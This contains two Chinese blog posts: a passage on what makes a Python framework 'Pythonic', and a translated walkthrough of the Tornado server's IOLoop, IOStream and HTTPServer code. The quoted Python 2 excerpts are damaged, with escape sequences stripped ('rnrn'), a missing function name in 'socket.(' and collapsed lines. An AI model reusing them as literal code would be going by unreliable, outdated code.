一个Pythonic的框架不会对已经用惯用法完成的东西重复发明轮子,而且它也遵循常用的 Python 惯例。
当然,问题是构建框架时肯定会不可能避免地引入一些你不熟悉的模式和方法。Zope2 是我极为熟悉的一个框架,它也是一个引入了许多完成工作的特定的方法(如 Acquisition)的例子,这些方法往往什么地方都用不到,因此许多经验丰富的 Python 程序员认为它并不 Pythonic。
创建 Pythonic 的框架极其困难,什么理念更酷、更符合语言习惯对此毫无帮助,事实上这些年来优秀的 Python 代码的特性也在不断演化。比如现在认为像 generators、sets、unicode strings 和 datetime 之类的特性尤为 Pythonic。Zope2 的历史悠久,它从1997年开始开发,你不能把不够 Pythonic 归咎于它,甚至考虑到这么多年来它控制得如此之好,更应该感谢它。
关于 Pythonicness 的新趋势的一个例子是Python 的包和模块结构日益规范化。新的代码库如 Twisted、Zope3 和 PyPy 等或多或少都跟随了这样的潮流:
包和模块的命名采用小写,单数形式,而且短小。
包通常仅仅作为命名空间,如只包含空的 init.py 文件。
在我写库(如 lxml)的时候也遵循了这样的惯例。
因为更多人认为一个 Python 程序员容易学习的功能不那么强大的框架比一个需要大量时间来学习的强大系统更为 pythonic。所以有时我认为宣称软件不够 Pythonic 不公平,甚至可能会因此而掩盖了该软件积极的一面。
最后,作为什么是 Pythonic 的扩充材料,可以尝试一下在 Python 解释器里执行如下语句:
import this
Posted on http://blog.csdn.net/lanphaday/article/details/2762251
]]>这篇文章的目的在于对Tornado这个异步服务器软件的底层进行一番探索。我采用自底向上的方式进行介绍,从轮训开始,向上一直到应用层,指出我认为有趣的部分。
所以,如果你有打算要阅读Tornado这个web框架的源码,又或者是你对一个异步web服务器是如何工作的感兴趣,我可以在这成为你的指导。
通过阅读这篇文章,你将可以:
假设你还不知道Tornado是什么也不知道为什么应该对它感兴趣,那我将用简短的话来介绍Tornado这个项目。如果你已经对它有了兴趣,你可以跳去看下一节内容。
Tornado是一个用Python编写的异步HTTP服务器,同时也是一个web开发框架。该框架服务于FriendFeed网站,最近Facebook也在使用它。FriendFeed网站有用户数多和应用实时性强的特点,所以性能和可扩展性是很受重视的。由于现在它是开源的了(这得归功于Facebook),我们可以彻底的对它是如何工作的一探究竟。
我觉得对非阻塞式IO (nonblocking IO) 和异步IO (asynchronous IO AIO)很有必要谈一谈。如果你已经完全知道他们是什么了,可以跳去看下一节。我尽可能的使用一些例子来说明它们是什么。
让我们假设你正在写一个需要请求一些来自其他服务器上的数据(比如数据库服务,再比如新浪微博的open api)的应用程序,然后呢这些请求将花费一个比较长的时间,假设需要花费5秒钟。大多数的web开发框架中处理请求的代码大概长这样:
def handler_request(self, request): answ = self.remote_server.query(request) # this takes 5 seconds request.write_response(answ)
如果这些代码运行在单个线程中,你的服务器只能每5秒接收一个客户端的请求。在这5秒钟的时间里,服务器不能干其他任何事情,所以,你的服务效率是每秒0.2个请求,哦,这太糟糕了。
当然,没人那么天真,大部分服务器会使用多线程技术来让服务器一次接收多个客户端的请求,我们假设你有20个线程,你将在性能上获得20倍的提高,所以现在你的服务器效率是每秒接受4个请求,但这还是太低了,当然,你可以通过不断地提高线程的数量来解决这个问题,但是,线程在内存和调度方面的开销是昂贵的,我怀疑如果你使用这种提高线程数量的方式将永远不可能达到每秒100个请求的效率。
如果使用AIO,达到每秒上千个请求的效率是非常轻松的事情。服务器请求处理的代码将被改成这样:
def handler_request(self, request): self.remote_server.query_async(request, self.response_received) def response_received(self, request, answ): # this is called 5 seconds later request.write(answ)
AIO的思想是当我们在等待结果的时候不阻塞,转而我们给框架一个回调函数作为参数,让框架在有结果的时候通过回调函数通知我们。这样,服务器就可以被解放去接受其他客户端的请求了。
然而这也是AIO不太好的地方:代码有点不直观了。还有,如果你使用像Tornado这样的单线程AIO服务器软件,你需要时刻小心不要去阻塞什么,因为所有本该在当前返回的请求都会像上述处理那样被延迟返回。
关于异步IO,比当前这篇过分简单的介绍更好的学习资料请看 The C10K problem。
该项目由github托管,你可以通过如下命令获得,虽然通过阅读这篇文章你也可以不需要它是吧。
在tornado的子目录中,每个模块都应该有一个.py文件,你可以通过检查他们来判断你是否从已经从代码仓库中完整的迁出了项目。在每个源代码的文件中,你都可以发现至少一个大段落的用来解释该模块的doc string,doc string中给出了一到两个关于如何使用该模块的例子。
让我们通过查看ioloop.py文件直接进入服务器的核心。这个模块是异步机制的核心。它包含了一系列已经打开的文件描述符(译者:也就是文件指针)和每个描述符的处理器(handlers)。它的功能是选择那些已经准备好读写的文件描述符,然后调用它们各自的处理器(一种IO多路复用的实现,其实就是socket众多IO模型中的select模型,在Java中就是NIO,译者注)。
可以通过调用add_handler()方法将一个socket加入IO循环中:
def add_handler(self, fd, handler, events): """Registers the given handler to receive the given events for fd.""" self._handlers[fd] = handler self._impl.register(fd, events | self.ERROR)
_handlers这个字典类型的变量保存着文件描述符(其实就是socket,译者注)到当该文件描述符准备好时需要调用的方法的映射(在Tornado中,该方法被称为处理器)。然后,文件描述符被注册到epoll(unix中的一种IO轮询机制,貌似,译者注)列表中。Tornado关心三种类型的事件(指发生在文件描述上的事件,译者注):READ,WRITE 和 ERROR。正如你所见,ERROR是默认为你自动添加的。
self._impl是select.epoll()和selet.select()两者中的一个。我们稍后将看到Tornado是如何在它们之间进行选择的。
现在让我们来看看实际的主循环,不知何故,这段代码被放在了start()方法中:
def start(self): """Starts the I/O loop. The loop will run until one of the I/O handlers calls stop(), which will make the loop stop after the current event iteration completes. """ self._running = True while True: [ ... ] if not self._running: break [ ... ] try: event_pairs = self._impl.poll(poll_timeout) except Exception, e: if e.args == (4, "Interrupted system call"): logging.warning("Interrupted system call", exc_info=1) continue else: raise # Pop one fd at a time from the set of pending fds and run # its handler. Since that handler may perform actions on # other file descriptors, there may be reentrant calls to # this IOLoop that update self._events self._events.update(event_pairs) while self._events: fd, events = self._events.popitem() try: self._handlers[fd](fd, events) except KeyboardInterrupt: raise except OSError, e: if e[0] == errno.EPIPE: # Happens when the client closes the connection pass else: logging.error("Exception in I/O handler for fd %d", fd, exc_info=True) except: logging.error("Exception in I/O handler for fd %d", fd, exc_info=True)
poll()方法返回一个形如(fd: events)的键值对,并赋值给event_pairs变量。由于当一个信号在任何一个事件发生前到来时,C函数库中的poll()方法会返回EINTR(实际是一个值为4的数值),所以”Interrupted system call”这个特殊的异常需要被捕获。更详细的请查看man poll。
在内部的while循环中,event_pairs中的内容被一个一个的取出,然后相应的处理器会被调用。pipe 异常在这里默认不进行处理。为了让这个类适应更一般的情况,在http处理器中处理这个异常是一个更好的方案,但是选择现在这样处理或许是因为更容易一些。
注释中解释了为什么使用字典的popitem()方法,而不是使用更普遍一点的下面这种做法(指使用迭代,译者注):
原因很简单,在主循环期间,这个_events字典变量可能会被处理器所修改。比如remove_handler()处理器。这个方法把fd(即文件描述符,译者注)从_events字典中取出(extracts,意思是取出并从_events中删除,译者注),所以即使fd被选择到了,它的处理器也不会被调用(作者的意思是,如果使用for迭代循环_events,那么在迭代期间_events就不能被修改,否则会产生不可预计的错误,比如,明明调用了remove_handler()方法删除了某个<fd, handler>键值对,但是该handler还是被调用了,译者注)。
怎么让这个主循环停止是很有技巧性的。self._running变量被用来在运行时从主循环中跳出,处理器可以通过调用stop()方法把它设置为False。通常情况下,这就能让主循环停止了,但是stop()方法还能被一个信号处理器所调用,所以,如果1)主循环正阻塞在poll()方法处,2)服务端没有接收到任何来自客户端的请求3)信号没有被OS投递到正确的线程中,你将不得不等待poll()方法出现超时情况后才会返回。考虑到这些情况并不时常发生,还有poll()方法的默认超时时间只不过是0.2秒,所以这种让主循环停止的方式还算过得去。
但不管怎样,Tornado的开发者为了让主循环停止,还是额外的创建了一个没有名字的管道和对应的处理器,并把管道的一端放在了轮询文件描述符列表中。当需要停止时,在管道的另一端随便写点什么,这能高效率的(意思是马上,译者注)唤醒主循环在poll()方法处的阻塞(貌似Java NIO的Windows实现就用了这种方法,译者注)。这里节选了一些代码片段:
def __init__(self, impl=None): [...] # Create a pipe that we send bogus data to when we want to wake # the I/O loop when it is idle r, w = os.pipe() self._set_nonblocking(r) self._set_nonblocking(w) self._waker_reader = os.fdopen(r, "r", 0) self._waker_writer = os.fdopen(w, "w", 0) self.add_handler(r, self._read_waker, self.WRITE)def _wake(self): try: self._waker_writer.write("x") except IOError: pass
实际上,上述代码中存在一个bug:那个只读文件描述符r,虽然是用来读的,但在注册时却附加上了WRITE类型的事件,这将导致该注册实际不会被响应。正如我先前所说的,用不用专门找个方法其实没什么的,所以我对他们没有发现这个方法不起作用的事实并不感到惊讶。我在mail list中报告了这个情况,但是尚未收到答复。
另外一个在IOLoop模块中很有特点的设计是对定时器的简单实现。一系列的定时器会被以是否过期的形式来维护和保存,这用到了python的bisect模块:
def add_timeout(self, deadline, callback): """Calls the given callback at the time deadline from the I/O loop.""" timeout = _Timeout(deadline, callback) bisect.insort(self._timeouts, timeout) return timeout
在主循环中,所有过期了的定时器的回调会按照过期的顺序被触发。poll()方法中的超时时间会动态的进行调整,调整的结果就是如果没有新的客户端请求,那么下一个定时器就好像没有延迟一样的被触发(意思是如果没有新的客户端的请求,poll()方法将被阻塞直到超时,这个超时时间的设定会根据下一个定时器与当前时间之间的间隔进行调整,调整后,超时的时间会等同于距离下一个定时器被触发的时间,这样在poll()阻塞完后,下一个定时器刚好过期,译者注)。
让我们现在快速的看一下poll和select这两种select方案的实现代码。Python已经在版本2.6的标准库中支持了epoll,你可以通过在select模块上使用hasattr()方法检测当前Python是否支持epoll。如果python版本小于2.6,Tornado将用它自己的基于C的epoll模块。你可以在tornado/epoll.c文件中找到它源代码。如果最后这也不行(因为epoll不是每个Linux都有的),它将回退到selec._Select并把_EPoll类包装成和select.epoll一样的api接口。在你做性能测试之前,请确定你能使用epoll,因为select在有大量文件描述符情况下的效率非常低。
# Choose a poll implementation. Use epoll if it is available, fall back to# select() for non-Linux platformsif hasattr(select, "epoll"): # Python 2.6+ on Linux _poll = select.epollelse: try: # Linux systems with our C module installed import epoll _poll = _EPoll except: # All other systems import sys if "linux" in sys.platform: logging.warning("epoll module not found; using select()") _poll = _Select
通过上述阅读,我们的介绍已经涵盖了大部分IOLoop模块。正如广告中介绍的那样,它是一段优雅而又简单的代码。
让我们来看看IOStream模块。它的目的是提供一个对非阻塞式sockets的轻量级抽象,它提供了三个方法:
所有上述的方法都可以通过异步方式在它们完成时触发回调函数。
write()方法提供了将调用者提供的数据加以缓冲直到IOLoop调用了它的(指write方法的,译者注)处理器的功能,因为到那时候就说明socket已经为写数据做好了准备:
def write(self, data, callback=None): """Write the given data to this stream. If callback is given, we call it when all of the buffered write data has been successfully written to the stream. If there was previously buffered write data and an old write callback, that callback is simply overwritten with this new callback. """ self._check_closed() self._write_buffer += data self._add_io_state(self.io_loop.WRITE) self._write_callback = callback
该方法只是用socket.send()来处理WRITE类型的事件,直到EWOULDBLOCK异常发生或者buffer被发送完毕。
读数据的方法和上述过程正好相反。读事件的处理器持续读取数据直到缓冲区被填满为止。这就意味着要么读取指定数量的字节(如果调用的是read_bytes()),要么读取的内容中包含了指定的分隔符(如果调用的是read_util()):
def _handle_read(self): try: chunk = self.socket.recv(self.read_chunk_size) except socket.error, e: if e[0] in (errno.EWOULDBLOCK, errno.EAGAIN): return else: logging.warning("Read error on %d: %s", self.socket.fileno(), e) self.close() return if not chunk: self.close() return self._read_buffer += chunk if len(self._read_buffer) >= self.max_buffer_size: logging.error("Reached maximum read buffer size") self.close() return if self._read_bytes: if len(self._read_buffer) >= self._read_bytes: num_bytes = self._read_bytes callback = self._read_callback self._read_callback = None self._read_bytes = None callback(self._consume(num_bytes)) elif self._read_delimiter: loc = self._read_buffer.find(self._read_delimiter) if loc != -1: callback = self._read_callback delimiter_len = len(self._read_delimiter) self._read_callback = None self._read_delimiter = None callback(self._consume(loc + delimiter_len))
如下所示的_consume方法是为了确保在要求的返回值中不会包含多余的来自流的数据,并且保证后续的读操作会从当前字节的下一个字节开始(先将流中的数据读到self.read_buffer中,然后根据要求进行切割,返回切割掉的数据,保留切割后的数据供下一次的读取,译者注):
def _consume(self, loc): result = self._read_buffer[:loc] self._read_buffer = self._read_buffer[loc:] return result
还值得注意的是在上述_handle_read()方法中read buffer的上限——self.max_buffer_size。默认值是100MB,这似乎对我来说是有点大了。举个例子,如果一个攻击者和服务端建立了100个连接,并持续发送不带头结束分隔符的头信息,那么Tornado需要10GB的内存来处理这些请求。即使内存ok,这种数量级数据的复制操作(比如像上述_consume()方法中的代码)很可能使服务器超负荷。我们还注意到在每次迭代中_handle_read()方法是如何在这个buffer中搜索分隔符的,所以如果攻击者以小块形式发送大量的数据,服务端不得不做很多次搜索工作。归根结底,你应该想要将这个参数和谐掉,除非你真的很希望那样(Bottom of line, you might want to tune this parameter unless you really expect requests that big 不大明白怎么翻译,译者注)并且你有足够的硬件条件。
有了IOLoop模块和IOStream模块的帮助,写一个异步的HTTP服务器只差一步之遥,这一步就在httpserver.py中完成。
HTTPServer类它自己只负责处理将接收到的新连接的socket添加到IOLoop中。该监听型的socket自己也是IOLoop的一部分,正如在listen()方法中见到的那样:
def listen(self, port, address=""): assert not self._socket self._socket = socket.(socket.AF_INET, socket.SOCK_STREAM, 0) flags = fcntl.fcntl(self._socket.fileno(), fcntl.F_GETFD) flags |= fcntl.FD_CLOEXEC fcntl.fcntl(self._socket.fileno(), fcntl.F_SETFD, flags) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.setblocking(0) self._socket.bind((address, port)) self._socket.listen(128) self.io_loop.add_handler(self._socket.fileno(), self._handle_events, self.io_loop.READ)
除了绑定给定的地址和端口外,上述代码还设置了”close on exec”和”reuse address”这两个标志位。前者在应用程序创建子进程的时候特别有用。在这种情况下,我们不想让套接字保持打开的状态(任何设置了”close on exec”标志位的文件描述符,都不能被使用exec函数方式创建的子进程读写,因为该文件描述符在exec函数调用前就会被自动释放,译者注)。后者用来避免在服务器重启的时候发生“该地址以被使用”这种错误时很有用。
正如你所见到的,后备连接所允许的最大数目是128(注意,listen方法并不是你想象中的“开始在128端口上监听”的意思,译者注)。这意味着如果有128个连接正在等待被accept,那么直到服务器有时间将前面128个连接中的某几个accept了,新的连接都将被拒绝。我建议你在做性能测试的时候将该参数调高,因为当新的连接被抛弃的时候将直接影响你做测试的准确性。
在上述代码中注册的_handle_events()处理器用来accept新连接,并创建相关的IOStream对象和初始化一个HTTPConnection对象,HTTPConnection对象负责处理剩下的交互部分:
def _handle_events(self, fd, events): while True: try: connection, address = self._socket.accept() except socket.error, e: if e[0] in (errno.EWOULDBLOCK, errno.EAGAIN): return raise try: stream = iostream.IOStream(connection, io_loop=self.io_loop) HTTPConnection(stream, address, self.request_callback, self.no_keep_alive, self.xheaders) except: logging.error("Error in connection callback", exc_info=True)
可以看到这个方法在一次迭代中accept了所有正在等待处理的连接。也就是说直到EWOULDBLOCK异常发生while True循环才会退出,这也就意味着当前没有需要处理accept的连接了。
HTTP头的部分的解析工作开始于HTTPConnection类的构造函数__init()__():
def __init__(self, stream, address, request_callback, no_keep_alive=False, xheaders=False): self.stream = stream self.address = address self.request_callback = request_callback self.no_keep_alive = no_keep_alive self.xheaders = xheaders self._request = None self._request_finished = False self.stream.read_until("rnrn", self._on_headers)
如果你很想知道xheaders参数的意义,请看这段注释:
_on_headers()回调函数实际用来解析HTTP头,并在有请求内容的情况下通过使用read_bytes()来读取请求的内容部分。_on_request_body()回调函数用来解析POST的参数并调用应用层提供的回调函数:
def _on_headers(self, data): eol = data.find("rn") start_line = data[:eol] method, uri, version = start_line.split(" ") if not version.startswith("HTTP/"): raise Exception("Malformed HTTP version in HTTP Request-Line") headers = HTTPHeaders.parse(data[eol:]) self._request = HTTPRequest( connection=self, method=method, uri=uri, version=version, headers=headers, remote_ip=self.address[0]) content_length = headers.get("Content-Length") if content_length: content_length = int(content_length) if content_length > self.stream.max_buffer_size: raise Exception("Content-Length too long") if headers.get("Expect") == "100-continue": self.stream.write("HTTP/1.1 100 (Continue)rnrn") self.stream.read_bytes(content_length, self._on_request_body) return self.request_callback(self._request)def _on_request_body(self, data): self._request.body = data content_type = self._request.headers.get("Content-Type", "") if self._request.method == "POST": if content_type.startswith("application/x-www-form-urlencoded"): arguments = cgi.parse_qs(self._request.body) for name, values in arguments.iteritems(): values = [v for v in values if v] if values: self._request.arguments.setdefault(name, []).extend( values) elif content_type.startswith("multipart/form-data"): boundary = content_type[30:] if boundary: self._parse_mime_body(boundary, data) self.request_callback(self._request)
将结果写回客户端的工作在HTTPRequest类中处理,你可以在上面的_on_headers()方法中看到具体的实现。HTTPRequest类仅仅将写回的工作代理给了stream对象。
def write(self, chunk): assert self._request, "Request closed" self.stream.write(chunk, self._on_write_complete)
通过这篇文章,我已经涵盖了从socket到应用层的所有方面。这应该能给你关于Tornado是如何工作的一个清晰的理解。总之,我认为Tornado的代码是非常友好的,我希望你也这样认为。
Tornado框架还有很大一部分我们没有探索,比如wep.py(应该是web.py,译者注)这个实际与你应用打交道的模块,又或者是template engine模块。如果我有足够兴趣的话,我也会介绍这些部分。可以通过订阅我的RSS feed来鼓励我。
Posted on http://www.cnblogs.com/yiwenshengmei/archive/2011/06/08/understanding_tornado.html
]]>